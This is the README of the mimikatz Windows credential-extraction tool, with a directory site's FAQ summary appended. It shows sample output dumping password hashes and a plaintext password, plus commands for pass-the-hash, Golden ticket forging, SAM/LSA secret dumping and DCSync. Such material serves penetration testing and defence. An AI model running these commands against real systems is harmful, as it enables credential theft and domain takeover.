mimikatz README

The project's README from github.com/gentilkiwi/mimikatz. As one markdown file: README.md.

mimikatz

mimikatz is a tool I've made to learn C and make somes experiments with Windows security.

It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   https://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  13 modules * * */


mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/
...

But that's not all! Crypto, Terminal Server, Events, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on https://blog.gentilkiwi.com (in French, yes).

If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases

Quick usage

log
privilege::debug

sekurlsa

sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

kerberos

kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

crypto

crypto::capi
crypto::cng

crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

crypto::keys /export
crypto::keys /machine /export

vault & lsadump

vault::cred
vault::list

token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert

lsadump::dcsync /user:domain\krbtgt /domain:lab.local

Build

mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:

mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =)

Synchronize!

Build the solution

ddk2003

With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies)

For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.

Follow instructions:

Continuous Integration

mimikatz project is available on AppVeyor - https://ci.appveyor.com/project/gentilkiwi/mimikatz

Its status is: AppVeyor CI status

Licence

CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/

mimikatz needs coffee to be developed:

Author

This is a personal development, please respect its philosophy and don't use it for bad things!

mimikatz (gentilkiwi/mimikatz)

visual-studio
Searching Database…

21.9K ·GitHub
What is this?A small Windows security tool, originally written to learn C. It is best known for extracting plaintext passwords, hashes, PIN codes and Kerberos tickets from memory, and can perform pass-the-hash, pass-the-ticket or build Golden tickets.
Is it a library I code against, or a program I just run?A standalone Windows console program. The Visual Studio solution also includes mimilib and an optional WinDDK driver (mimidrv), which is not required for the main operations.
How do I get it on my machine?Grab the prebuilt binaries from GitHub releases if you don't want to compile. Otherwise clone the repo (GIT or SVN both work), open the Visual Studio solution and run Build / Build Solution.
Are there any pitfalls when building it?Expect a possible error MSB3073 about build.cmd and mimidrv: the driver cannot be compiled without WinDDK 7.1, though mimikatz and mimilib still build fine without it.
Who is this tool actually for?The author built it to learn C and experiment with Windows security, and it is widely used in pentesting and red teaming. He explicitly asks users to respect its philosophy and not use it for bad things.
Does it run only on Windows?Yes, Windows only — it builds as a Visual Studio solution for Win32 and x64, with ARM64 'if you're lucky', in the author's words.
Anything unusual about its license?It uses CC BY 4.0 — a Creative Commons license rather than a typical code license. The project is a personal development by Benjamin DELPY (gentilkiwi), supported via PayPal donations.
What can it do with credentials and Kerberos tickets?It can perform pass-the-hash and pass-the-ticket attacks and build Golden Kerberos tickets. The lsadump module also includes DCSync and DCShadow, which were co-written with Vincent LE TOUX.
Which modules does the tool have?The quick-usage section covers sekurlsa, kerberos, crypto, vault and lsadump. The README also mentions crypto, Terminal Server and Events functionality, with more details in the GitHub Wiki.
What are mimilib, mimidrv and mimilove?They are companion parts of the solution: mimilib is a library, mimidrv is an optional Windows driver not needed for the main operations, and mimilove is another component that also requires WinDDK 7.1 to build.
Creator
gentilkiwi
Size
5.2 MB
Stars
21.9K
Age
12y
Commits · 90 Days